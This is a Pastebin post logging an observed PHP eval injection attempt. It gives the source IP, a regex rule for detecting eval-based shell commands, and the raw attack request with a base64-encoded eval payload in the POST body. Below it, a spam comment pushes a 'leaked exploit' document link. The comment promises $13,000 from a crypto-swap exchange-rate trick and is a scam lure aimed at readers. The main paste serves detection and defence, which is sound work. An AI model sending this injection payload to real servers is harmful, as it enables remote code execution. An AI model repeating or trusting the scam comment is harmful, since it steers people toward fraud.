Neonprimetime

103.231.107.245 php shell eval post

Nov 20th, 2015
839
0
Never
5
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.41 KB | None | 0 0
  1. PHP Shell post
  2. ****
  3. Blog explaining this : http://neonprimetime.blogspot.com/2015/11/php-injection-via-post-walk-thru.html
  4. ****
  5. rule to match
  6. php shell command attempt - eval
  7. part="eval", rgxp="[^a-zA-Z\d]eval\s*\(\s*(\'|\"|\$_)"
  8. ****
  9. Source IP: 103.231.107.245
  10. ****
  11. POST/index.php?s=/abc/abc/abc/${@print(eval($_POST[c]))} HTTP/1.1
  12.  
  13. data='c=@eval(base64_decode($_POST[x0]));
  14. x0=ZWNobyAiLT58MTIzfDwtIjs='
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • Quinwatir
    170 days
    # CSS 0.85 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
  • User was banned
Add Comment
Please, Sign In to add comment